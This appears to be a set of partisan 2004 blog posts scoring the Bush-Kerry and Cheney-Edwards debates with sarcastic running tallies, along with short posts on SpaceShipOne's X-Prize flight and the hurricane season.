Bush -5, Kerry 2.
Why did Bush block the reimportation of cheaper and safer drugs from Canada?
Bush accuses Canadian drugs of being 3rd-party knockoffs that might kill you. I don't know if there's any truth to it. He continues well flogging his drug discount cards.
Kerry responds citing Bush's earlier support for importing Canadian drugs and by claiming the drugs are made in US factories. Says Bush made it "illegal for Medicare to do with the VA does" by buying drugs in bulk.
Bush responds by declaring that the drugs aren't safe
Kerry says "we fixed Medicare" in 1997.
Bush -4, Kerry 3.
rising cost of healthcare, yet you chose Edwards who made money suing doctors
Kerry: Edwards is the author of the Patient's Bill of Rights, and cites his and Edwards' support for tort reform. Lawsuits "less than 1%" of the total cost of healthcare.
Bush starts his rebuttal with "the National Journal named Senator Kennedy the most liberal Senator of all" and says Kerry will "tax everybody here" to pay for the plan, saying "Government-sponsored health care will lead to rationing".
Kerry responds nearly as partisanly.
Bush reponds with another attack.
Bush -5, Kerry 3.
You have enjoyed a Republican majority and have not vetoed a single spending bill. $700 billion spent and not payed for with taxes.
Bush says "we have a deficit because this country went into a recession...secondly, we're at war and I'm going to spend what it takes to win this war." Good talk. He also amusingly claims to be a demand-sider, not a supply-sider.
Kerry responds by defending his health care plan and slams Bush
on the deficit and economy without touching Bush's explanations
for the deficit.
Bush -4, Kerry 3.
How would you cut the deficit?
Bush pledges to hold down Congress's spending.
Kerry attacks Bush's tax cut again.
Bush -4, Kerry 3.
Can Kerry pledge not to sign any legislation that will increase taxes on those making under $200,000.
Kerry makes the "read my lips" pledge and pledges more tax credits for families. Sorry if I don't believe him.
Bush shares my skepticism, says "of course he's going to raise your taxes", and points out that there's a big difference between the amount Kerry can raise from the rich and the amount he's proposed to spend.
Kerry accuses Bush of "fuzzy math" on the numbers and cites corporate welfare that can be cut and his own work for the balanced budget in the 1990s.
Bush slams Kerry as "most liberal" again.
Bush -3. Kerry 3.
How would you rate yourself as an environmentalist, what specifically have you done
Bush: reduce pollution from offroad diesel engines. cites Clear Skies! and says forests need to be "harvested" to prevent forest fires. Good talking.
Kerry: "the President, I don't think is living in a world of reality with respect to the environment" then changes the subject! dumbass. defending himself against the "liberal" charge. Hits Bush on the Clear Skies. Easy mark. Cites EPA chief resigning in protest!
Bush says he had an alternative to Kyoto.
Kerry points out that Bush didn't.
Bush -2, Kerry 4.
How can US be competitive in manufacturing given US wages?
Kerry: end tax incentive for moving manufacturing jobs overseas and create tax incentives for protectionism. Cites cost of health care, falsely accuses Bush of having no plan to lower costs.
Bush cites medical liability reform, claims Kerry doesn't support it, and says most small businesses would be hit by Kerry's taxes.
Kerry denies that he would pander in a defense against Saturday Night Live, cites Wall Street Journal that 96% of small businesses not affected by Kerry's plan.
Bush laughs about Kerry's mention of a timber company. I didn't catch the phrasing, but there's probably be jokes about it.
Bush -1, Kerry 5.
why are my rights being watered down by Patriot 2?
Bush: "I really don't think your rights are being watered down" by Patriot / Patriot 2. Says Patriot necessary to allow intelligence sharing. "I don't think the Patriot act infringes your rights at all." Stupid, ignorant, or evil?
Kerry: Cites several Republicans concerned about the Patriot Act, says "people's rights have been abused", cites a man who was jailed 8 months without a phone call until Dick Durbin intervened, closes with "I believe in the Patriot Act."
Bush -2, Kerry 5.
something about stem cells
Kerry cites disease victims, calls for "ethically guided embryonic stem cell research", cites fertility clinics. Overall, it didn't impress me.
Bush: "Embryonic stem cell research requires the destruction of life to create a stem cell". Holds his own well in explaining his position.
Kerry says the existing stem cell lines aren't enough, and that Bush got his numbers wrong.
Bush notes that the existing stem cell lines are from embryos already destroyed when he made the decision to cut funding.
Bush -1, Kerry 5.
If there were a vacancy in the supreme court and you had to fill that vacancy today, who would you choose and why.
Bush: "I'm not telling." Says that defense of the Constitution is "allowing personal opinion to get into the decision making process" and Orwellianly in opposition to the Constitution, then compares anyone who believes in defending human rights with the Dred Scott judges to found a property right to own slaves.
Kerry hits Bush on his own words that "we need some good conservative judges" and that his favourite judges are Scalia and Thomas.
Bush -2, Kerry 5.
What you would say to someone who believed abortion was murder and wanted that no money be spent on abortion
Kerry: "I can't take what is an article of faith for me and legislate it for someone who does not share that article of faith."
Bush: Says "reasonable people can agree on how to reduce abortion in America" by making abortion illegal and declaring fetuses to be humans with full rights. Arrogant asswipe.
Kerry: It's never as simple as Bush would have you believe, cites situations such as an incest victim who shouldn't need to get her rapist father's permission to get an abortion.
Bush insists that it is that simple! Totally ignoring Kerry's points. He should get hit hard on this.
Bush -3, Kerry 5.
give 3 instances in which you realized you made a wrong decision and what you did to correct it.
Bush refuses to answer the question and accuses the questioner of opposing the Afghan fight against al-Qaeda, then goes into a rant against Saddam Hussein.
Kerry attacks Bush on Iraq. "Was this really going to war as a last resort?" Cites Republicans speaking against Iraq policies.
Bush then falsely claims Kerry never voted for money for the troops and attacks him on the $87 billion again. Double penalty for Bush for this round.
Kerry begins with the same useless non-defense of his phrasing of his votes on the different bills, but gets better by saying he voted against the final bill because he "didn't want to give a slush fund to Halliburton".
Bush -5, Kerry 5.
Kerry's final statement hammers home the "I have a plan" line he warezed from the Nixon campaign.
Bush amazingly talks up the economy, then finishes well on security. Cites September 11. Cites Afghan elections.
Final score: Bush -4, Kerry 5.
Final Analysis: Nobody won, America lost. Score it as a slight victory for Kerry if you must, but only because Bush kicked his own ass.
I decided to watch this debate in the company of several local Democrats at a restaurant in town, which may have been a bad choice from an information-gathering point of view. On the other hand, I gave away a couple of Kerry buttons and the entire waitressing staff (not being sexist, no guys on staff) suddenly wanted some of their own, which I scrambled to pick up from new people coming in, and they were wearing them with their uniforms as they served that night, so hey, maybe we got some good exposure from it. But reading the news, I see that the polls and at least some of the pundits disagree with my view of the outcome.
Let's start with the summary. In good conscience, I've got to call this one a draw. Much as I wanted my side's winning streak to continue, Cheney had a gravitas that I think Edwards struggled with, balanced by the facts being on Edwards' side. What a fascinating result: the dour Cheney won on style points, while the bright young Edwards won on facts. Postdebate online polls all seem to say Edwards won, usually by margins of 2 or 3 to 1, though the pundits I can find are mixed. (Even the ever-Republican FOX News channel's online poll has Edwards beating Cheney by 52% to 46%.) And since, frankly, I find the facts more important, in a poll that gave me no choice of "tie" I'd break for Senator Edwards.
Cheney uttered a few flat-out lies that made my ears perk; occasionally he'd contradict himself in the space of a few minutes. Asked about Rumsfeld's remark recently that the Secretary of Defense had seen no hard evidence of a link between Saddam and al-Qaeda, the Vice President replied:
Concern about Iraq specifically focused on the fact that Saddam Hussein had been, for years, listed on the state sponsor of terror, that they he had established relationships with Abu Nidal, who operated out of Baghdad; he paid $25,000 to the families of suicide bombers; and he had an established relationship with al-Qaeda.
Later, in his rebuttal to Senator Edwards on the next question(similar topic), he said:
The senator has got his facts wrong. I have not suggested there's a connection between Iraq and 9/11, but there's clearly an established Iraqi track record with terror.
Now, I don't exactly think I'm playing word games with anyone when I opine that saying Saddam had an established relationship with al-Qaeda is a suggestion that there is a connection between Iraq and 9/11.
Cheney cited the Republican party's oft-repeated figure that 10 million or more Afghanis have registered to vote. I'm sorry Edwards didn't pick up on the response to this, which is that the Afghani population eligible to register was estimated at around 9 million, so we're probably looking at massive voter fraud rather than wild success. Could be good success and mild voter fraud, though. But really, I think quoting the figure is inadvisable.
Vice President Cheney also claimed, in the process of denigrating Senator Edwards' record, that tonight was the first time the two had met -- which, even if true, I would have chalked up more as a sad commentary on the polarization of the nation in the last few years than as an indicator of poor attendance. It turns out, though, that the two have met before at least twice, according to a debunking I'm seeing on a news site (FOX news, believe it or not).
The good one-liners of the night were often from Senator Edwards' side: "It is critical that we be credible" could apply as a general life rule, but in this case talking about America's standing in the world it applies specifically to the shocking loss of trust around the world America has suffered in the last four years. Edwards' statement that "There are 60 countries that have members of al-Qaeda in them. How many of those counries are we going to invade?" is deeper than it may appear at first glance; it resonates with one of the U.S. military's own analyses of the Bush doctrine, which worries that troops and resources will be expended in adventures around the world seeking to defeat terrorism utterly, in a quest for absolute security. If we are never perfectly secure but can always be made more secure, there are often far better means of securing ourselves than with military force.
On style, Cheney earned some respect from me with non-replies, choosing silence when he seemed to have said all he needed to, or the question was provocative, or the line of conversation was turning personal. Knowing when to speak and when to be silent is a smart art to master. He easily pulled out anecdotes about foreign policy from 20 years ago (okay, *an* anecdote, but it was a good one), putting his long record of public service out there without directly trumpeting it. Edwards' travels during his term in the Senate, though the Sbarro's story was certainly dramatic, weren't quite so gripping.
Edwards seems to have consciously made an interesting choice to include several Cleveland references and statistics in his arguments tonight, presumably in the hope that audiences in Cleveland, where the debate was held, would be tuning in widely. Good call, I would say; if the VP debate doesn't affect the overall standings much, as they usually do not, a magnified effect could certainly be seen if Edwards successfully used tonight's debate to reach out to Ohioans. If Ohio goes for Kerry, Bush's race is virtually shot. Halliburton refs didn't make it into the debate until 9:26 as I heard it nd didn't dominate afterward, which I thought was all to the good, since it's a fairly low level issue for me. Malfeasance on the part of the company is obvious; Cheney's connections to any such thing are not, at least to me. The awarding of no-bid contracts and preferential treatment for the company while under investigation seem much more serious, to my mind.
I picked up a few new facts from the debate. I thought Senator Edwards had a strong rebuttal to the Bush campaign's charges that Senator Kerry voted against weapons systems:
John Kerry has voted for the biggest military appropriations bill in the country's history. John Kerry has voted for the biggest intelligence appropriations in the country's history. This vice president, when he was secretary of defense, cut over 80 weapons systems, including the very ones he's criticizing John Kerry for voting against. These are weapons systems, a big chunk of which, the vice president himself suggested we get rid of after the Cold War.
Of course, I had already expected that Kerry's votes fell in with the normal process of debating military expenditures in the Senate; however, senator Edwards fully exposing the hypocrisy of the Vice President in charging weakness for those positions when he himself had held those views, is something I must remember for future reference.
If it's hardheaded seriousness you look for in a Vice President, the challenger may not have sold it tonight. But if it's an ability to learn and face the facts that you look for in the President's understudy, I think you can call this one for for Senator Edwards.
47 years ago today the Soviet Union, under the direction of Sergei Korolev, stuck a metal beachball equipped with four buggy-whip antennas on top of a rocket and threw it into orbit. This beachball, named Sputnik, really didn't have much of a purpose except to circle the planet and beep. But that was more than enough to jolt people into action, because the whole point of the Sputnik launch wasn't to send up something with any actual use per se, but to prove that it could be done.
And today, Burt Rutan and Brian Binnie launched a plastic airplane fueled by laughing gas and old tires to 70 miles above the earth and brought it back in one piece. SpaceShipOne is a lot like Sputnik or the Spirit of St. Louis, in that it doesn't have much practical value beyond winning the prize. Nobody's going to be flying SS1s from LA to New York in thirty minutes or anything. But again, that's not the point.
SpaceShipOne proved today, beyond a shadow of a doubt, that it is possible for a completely private group to build a spacecraft, fly it into space, bring it back, and then do it again within a week. We were promised that kind of action with the Space Shuttle back in the 80s, and it failed to deliver. SS1 doesn't promise us as much as the Shuttle did - it is still just a suborbital craft, after all - but so far Burt Rutan and his team haven't failed to deliver.
Proving that it can be done is the first step. Now, the trick is to capitalize on it. As we've already discussed, more prizes are being floated for the next stage in the game, and the other players haven't considered themselves out just yet. Groups like DaVinci and Armadillo Aerospace have come too far to give up just because the cash payout has been awarded. I fully expect that both the Canadian team and Armadillo will fly their vehicles by next summer at the latest, just to prove that they can. Some of the other X-Prize teams will probably also follow suit.
We're beginning to see the first glimmerings of a real space tourism industry in the plans of Richard Branson. Suborbital space tours, I suspect, will become one of the major novelty draws for the rest of the decade. While the price is going to be fairly high (I know I'm not going to be able to afford a ticket), companies are already setting up contests for free tickets on SS1-derived aircraft. That kind of publicity, combined with Branson's stated claim to try and reduce the cost of passenger tickets, will be of immense help in getting a nacent tourism industry off the ground.
In the meantime, the other X-Prize contenders won't necessarily be left out in the cold. The modern concept of "extreme sport" seems tailor-made for the kind of garage-built suborbital craft that make up the majority of the X-Prize contenders. If the X-Games can be a legitimate sporting event (complete with ESPN coverage and millions of dollares in ad revenue), then the planned X-Cup in New Mexico, where rocketeers will be able to launch their craft in direct competition with each other, has the potential to make some serious dough. Hell, if NASCAR can become so incredibly popular, why not spaceship racing?
You may have noticed that compared to Project Apollo, or the various ill-fated Mars schemes out there, that these goals seem kind of small and petty. If you were of the appropriate mindset, you might even think there was something evilly capitalist about the whole thing. Well... maybe so. But the aerospace industry that made folks like Burt Rutan possible wasn't built on huge projects like Apollo, it was built on people who were small and petty and had capitalist dreams like being able to sell tickets to passengers or win prizes at races. Without the innovations and the work those small and petty people put into flight, modern aviation would not have moved nearly as fast as it did during the 20s and 30s.
Barnstorming on ESPN isn't as glamorous as being the first man to walk on Mars, but it certainly beats all hell out of sitting at home.
Four hurricanes, and the season isn't even over yet. Well, here's hoping for a quieter few weeks for those down Florida way, and all the rest of you folks in hurricane country.
Yesterday, I gave an analysis of the Bush/Kerry debate based more on the candidates' behaviour than their words, and suggested that an analysis of the text would lead to a different conclusion. So let's look at the transcript. There's may be an error in that version, since another transcript replaces "and I'm suggesting my opponent isn't" with "and I'm not suggesting my opponent says it", and a "decreased" with an "increased".
Kerry opens with Nixonian claims of having a secret plan to win the peace, but doesn't release details. Score a point for Kerry for criticizing Bush on the obvious weaknesses and saying that he and Bush "both love our country equally" (very important to get out when the Republican line is that Kerry hates the United States), and a point for Bush for Kerry not being forthcoming with any solutions.
Bush 1, Kerry 1.
In rebuttal, Bush claims to have "persued al-Qaeda wherever al-Qaeda tries to hide" and "upheld the doctrine that said if you harbor a terrorist, you're equally as guilty as the terrorist." Score a point for Bush if you haven't been paying attention to world affairs lately, and a point for Kerry if you have. Bush scores another point for citing victories on Afghanistan and Iraq, then gives one to Kerry by claiming Iraq was actively proliferating WMDs. Finally, Bush hilariously claims to be "persuing a strategy of freedom around the world". It's a good thing I tuned in late, or I would have been unable to restrain my laughter enough to pay attention to the rest of the debate.
Bush 2, Kerry 4.
Next, Bush gives a free point to Kerry by refuting Dick Cheney's claims that a Kerry victory would cause another Sep11. He didn't have much of a choice. It's possible to repeat such a claim without looking like an arrogant child -- Reagan could have done it -- but the chance of it backfiring is too great to take the risk. Bush gets a point for citing the Beslan massacre and conflating the actions of all the Central Asian Islamic terrorists. This isn't a leap on the manner of conflating different groups of terrorists or conflating Iraq and al-Qaeda, as there have been many reports of cooperation between al-Qaeda, the more violent elements of the Chechen nationalist movement, and the Ansar group which is now said to be strong in Iraq.
Kerry responds strongly by pointing out that Bush took resources from the Afghan reconstruction effort to invade Iraq, getting a point for that and another for citing support from military leaders including General Shalikashvili, Supreme Commander of Europe from 1992 to 1993 and JCS chairman under Clinton from 1994 to 1997. I've seen a lot of people slam Kerry for claiming that Bush failed to capture Osama bin Laden at Tora Bora, including the local paper which says there's no evidence bin Laden was there and chalks it up as one of Kerry's lies, but I remember all the papers at the time saying that bin Laden was there and was heard giving orders over the radio, so I'll let this one pass. Kerry's saying that Bush "outsourced" the job of capturing Osama bin Laden by having Afghan militia lead the assault on Tora Bora is a brilliant bit of rhetoric bringing to mind troubles in the economy and tying that to a strategic military failure that Bush bears responsibility for.
Bush 3, Kerry 8.
Jim Lehrer asks Kerry to actually cite some "collosal misjudgements" that Bush has made, and Kerry hits this fastball out of the park, outlining the difference between Bush's public promises on Iraq with his actual actions. This is another point that the newspaper is slamming Kerry on, implying that Kerry would have had no intention of invading Iraq if the inspections ultimately failed and pointing out that the U.N. might have decided to end the sanctions and inspections.
Bush's rebuttal starts off strong by citing Kerry's own words about the danger of Saddam, then goes off into fantasyland by implying that he actually exhausted all diplomatic efforts by personally arguing to the United Nations. Then it gets delusional: Bush claims that Saddam Hussein still had the WMD stockpiles. Help me out here, is there any other rational way of parsing the phrase "Saddam Hussein had no intention of disarming"? Kerry wins the debate right here. Complete, total, and utter victory.
Bush 4, Kerry 110.
Bush gives Kerry another point for using the phrase "pre-September 10th mentality" as if it's a good thing to accept that Osama destroyed Western civilization on September 11. Sorry, I don't believe in giving the terrorists that much respect.
Bush 4, Kerry 111.
In discussing whether it strains the military to fight against Iraq and al-Qaeda at the same time, Bush calls both of them "a group of folks who have such hatred in their heart they'll strike anywhere with any means", and then pushes the point home by verbally confusing Saddam and Osama. What a dumbass.
Bush 4, Kerry 112.
Bush claims that 75% of al-Qaeda is in prison. Is that the entire group, just the leadership, just the leadership we know about, or what? No points awarded since I don't know the answer, but hopefully one of the papers will look into this.
Bush starts talking up hope and freedom for Iraq. It looks pretty good, give him a point for that. Kerry launches into the Mother Of All Rebuttals that should have put the Bush campaign down once and for all, but he falls apart saying "we've got weapons of mass destruction crossing the border every single day" in Iraq. What the hell is he talking about? A point off for Kerry.
Bush 5, Kerry 111.
Bush and Kerry spar over the meaning of Kerry's vote to give Bush the authority to invade Iraq, but neither makes a significant point.
Next, Kerry attacks Bush on homeland security. They're weak attacks at first, but he finally starts citing actual weaknesses in the national defense and how Bush hasn't made enough effort to patch them up. Bush's response is hilarious, asking "how he's going to pay for all these promises. It's like a huge tax gap." Gee, y' think? I wonder why that might be.
Bush gets a point for saying "we have to be right 100 percent of the time, and the enemy only has to be right once to hurt us." Kerry gets one for "the test is not whether you're spending more money. The test is, are you doing everything possible to make America safe?" Then Bush donates a point to Kerry for saying "we're doing everything we can to protect America" after Kerry outlined a bunch of situations where the Bush Administration isn't.
Bush 6, Kerry 115.
On to Iraq. Bush gets a point for stating a goal of having Iraqis lead Iraq and pledging to withdraw when Iraq can defend itself, and another point for pointing out that you can't promise a deadline, you're done when you're done. Then he makes me wonder what he's talking about when he says "a free iraq will help secure Israel" and "a free Iraq is essential for the security of this country."
In response, Kerry says vaguely that the troops in Iraq need help but doesn't specify what kind of help they need. Later he gets into actual strategic issues like the borders not being secure.
Bush 8, Kerry 116.
In response, Bush attacks up Kerry's accurate statement that he voted to approve one version of the $87 billion military spending bill before he voted against a different version of the bill. Point to Kerry.
Kerry's response is mixed. He doesn't bother defending himself against Bush's baseless charge, but comes off well with "I believe that when you know something's going wrong, you make it right" and pledging to "lead those troops to victory" in Iraq.
Bush 8, Kerry 118.
Kerry gives a point to Bush by denying that troops in Iraq are "dying for a mistake", then picks up a point for himself by citing Bush's promises against Bush's actions again.
In response, Bush gets a point for citing existing U.N. and world support, then gives a point to Kerry by calling him "somebody whose core convictions keep changing because of politics".
Kerry accurately says that there were only three countries in the invasion, and Bush says "he forgot Poland". Point to Kerry. Then Bush says Kerry "denigrates the contributions of these brave soldiers" and implies that the coalition will fall apart if Kerry is elected, a point to Kerry on each accusation.
Bush 10, Kerry 123.
When asked about his own admission to a "miscalculation" in planning the invasion of Iraq Bush tries to spin this: "What I said was that, because we achieved such a rapid victory, more of the Saddam loyalists were around. I mean, we thought we'd whip more of them going in." Amusing, but no change in score for that or for implying that all the Iraqi fighters are Saddam loyalists. Bush does get a point for citing planned elections.
In response, Kerry defends himself against the charge of denigrating the troops and cites the relative sizes of coalition partners and the proportion of casualties, then references North Korea's recent claim to have nuclear weapons.
Bush 11, Kerry 124.
Lehrer gives Kerry another question that is either a juicy fastball down the middle or a demand to put up or shut up, depending on whether you've been paying attention to the news or watching Fox News, and Kerry hits another home run outlining Bush's promises versus what he actually did. Score another point for Kerry in citing the need to prevent the terrorists from recruiting.
Bush responds by not defending himself, instead three times accusing Kerry of accusing himself of lying and falsely accusing Kerry of "changing your positions on this war" and saying "as the politics change, his positions change". Bush racks up five points for Kerry with this quick stream of lies and innuendo. Kerry responds forcefully, succinctly, and unlike Bush, truthfully, earning another point. Bush responds by lying once again about Kerry's positions on Iraq and al-Qaeda.
Bush 11, Kerry 133.
Lehrer asks Bush whether the invasion of Iraq was worth the lives of over 1,000 U.S. soldiers. Bush does well citing his visit with the family of a fallen soldier, but he curiously supports the invasion of Iraq with the phrase "we must find Al Qaida wherever they hide".
Kerry's response is mostly flat, but he gets a few good lines: "it is vital for us not to confuse the war, ever, with the warriors", and as a final sentence, "I will never let those troops down, and will hunt and kill the terrorists wherever they are."
In response to the response, Bush again falsely accuses Kerry of "changing positions on the war on terror", earning Kerry another point. In meta-response, Kerry brings up the "Pottery Barn" rule that "if you break it, you fix it". The local paper is making a deal out of the fact that Pottery Barn doesn't actually have such a rule -- another one of Kerry's lies! -- but I don't think it's enough to change the score. Kerry earns a WTF by saying the security of Iraq is "important to Israel" before saying it's "important to America".
Bush 12, Kerry 135.
Lehrer finally asks Kerry to explain his plan for Iraq, and Kerry points out things that Bush has done wrong that he wouldn't do again: not guarding Iraq's borders or nuclear facilities, and building permanent bases and otherwise giving the impression that the U.S. is there to stay. Not quite an accurate response, but well stated, so I'll allow him a point.
In response, Bush claims that 100,000 Iraqi security personnel have been trained. I've seen reports that the real number is closer to 20,000, but Bush's point is that training is going on, so I'll give him credit. Then Bush blasts Kerry for not giving proper respect to "courageous and brave" Bush Administration puppet Iyad Allawi, who is such an independent leader of such a free sovereign nation that his recent speech to Congress was penned by the Bush campaign. That's so arrogant, I'll give Kerry a point for it.
Finally, Bush attacks the straw man that "some say that if you're Muslim you can't free, you don't desire freedom", though at least in one of the transcripts he makes it clear he's not attributing this belief to Kerry.
Bush 13, Kerry 137.
Kerry uses Allawi against Bush, citing Allawi's claim that terrorists are coming across the border and pushing his not entirely true talking point that Bush is only promising "more of the same". Bush responds weakly by saying the terrorists are attacking because they don't want freedom. No points for either.
Next, Bush supports the invasion of Iraq because "the enemy attacked us", a bit of confusion that alone would gain Kerry a point, but Kerry takes it and runs with it, earning a point.
Bush, ever more factually challenged, claims that "we tried our best" at diplomacy and says that Saddam would never have disarmed if the U.N. had continued inspections (or decided to invade, which was another option under consideration at the UN1441-authorized meeting that Bush cancelled). Another point for Kerry, who then gains another point by jumping on Bush over North Korea and being the first to cite Darfur.
Bush 13, Kerry 140.
When asked about the doctrine of preemptive war, Kerry scores by saying the option should exist but the President had better have a damned good reason for it, and connecting this to the issue of Presidential credibility. Kerry also flubs by saying "I've been fighting for proliferation the entire time" instead of anti-proliferation, which is going to be floating around pro-Bush web sites for so long that I'll give Bush a point.
Bush responds by speaking about his and Kerry's difference of opinion on the International Criminal Court, deriding the war crimes court as "unaccountable" to the desires of the United States. Bush closes with a strong line, "I'm not going to make decisions that I think are wrong for America", earning a point.
Bush 15, Kerry 141.
Next, Bush speaks very well on the North Korea negotiations. This bit, which came before I tuned in last night, explains the part that I saw about "bilateral" negotations. Bush continues similarly on Iran. Very good, a point for each.
Kerry flubs again, saying the United States should have offered nuclear fuel to Iran. He recovers by explaining the background of the North Korea crisis, that there used to be inspectors and that North Korea's fuel used to be secure, coming away with a point.
Bush earns another point in his rebuttal to Kerry, explaining that there already are sanctions on Iran and saying that "the minute we have bilateral talks, the six-party talks will unwind." Bush also looks like a fool in saying "we can't sanction them anymore" about Iran and accusing Kerry of getting his facts wrong about North Korea producing plutonium when the transcript doesn't have Kerry mentioning plutonium at all, but I don't think it's serious.
Kerry then earns a point by saying he meant that the U.S. should pressure other countries into enacting sanctions on Iran.
Bush 19, Kerry 143.
Next, Kerry comes on strong on Darfur, saying that the US can have the African Union do the fighting without risking US troops on an unpopular anti-genocide operation by taking care of the AU's support and logistics. Also, and here's where I tuned in, Kerry pledges to add two divisions to the Army and double the number of Special Forces. A point for each.
Bush's response is weak, effectively saying that nothing more needs to be done than is already being done.
Bush 19, Kerry 145.
When asked if each candidate believes the other has character issues which should preclude them from being President, Bush again makes the false accusation that Kerry "changes positions on something as fundamental as what you believe in your core, in your heart of hearts, is right in Iraq". Kerry responds as weakly as possible, complimenting Bush's family, before accusing Bush of not acknowledging "what's on the ground...the realities of North Korea...the truth of the science of stem-cell research or of global warming".
Bush responds by repeating his "core values" charge, and Kerry finally defends himself. Maybe it was Kerry's plan to wait until late in the debate so people would remember his defense instead of Bush repeating the charge. In any case, it's about time.
Bush 19, Kerry 148.
Kerry does an excellent job declaring nuclear proliferation to be the most important issue to him, and taking a few shots at Bush for cutting funding on Russian antiproliferation efforts. No mention, however, of the Bush administration ending the undercover career of an agent who worked antiproliferation.
Bush has a good response on his own work in antiproliferation, and tying in the ballisitic missile defense system into the subject.
Kerry's metaresponse presses home Bush's failures, while Bush's focuses on the need for China's leverage on North Korea.
Bush 21, Kerry 150.
Bush gets a point for his words on Putin and Russia, basic pro-democracy anti-terrorism stuff. Kerry makes a minor goof, calling Lubyanka Square "Treblinka Square", but otherwise stresses his experience and similar feelings, earning him a point.
After Kerry cites North Korea, the two get bogged down in short responses with Lehrer until Kerry comes out on top citing Bush's rush to invade Iraq.
Bush 22, Kerry 152.
Kerry's final words are strong, centering on the powerful and resolute leadership he'd bring to office. Bush also gave a good final performance, talking up hope.
The final score is Bush 23, Kerry 153.
On the whole, Kerry performed ably. Not an overpowering performance, but not weak.
Bush could not stop lying about Kerry's positions, and I'd gamble that no news reporter in the mainstream media is going to call him on it. I'm informed enough to see Bush's lies for the falsehoods that they are, but to someone who has only been exposed to the Republican Party megaphone that most of the U.S. media consists of, they might be under the false impression that Kerry has changed his core values on Iraq, which would explain why most people only saw this debate as a slight victory for Kerry.
Even absent the lies, Bush didn't do that good a job. When Kerry made direct and specific charges, Bush often just pretended the facts didn't exist. I had expected Bush to do better when looking at his words, but Kerry stayed on top for most of the evening with the exception of Iran and North Korea, very important topics on which Bush held his own or succeeded. Add in the telegenics and Bush's odd way of speaking -- phrase, pause, phrase, pause, as if he was being read his lines through a radio wire -- and on TV, Kerry trounced him.
"UN: Government Failing Darfur People"
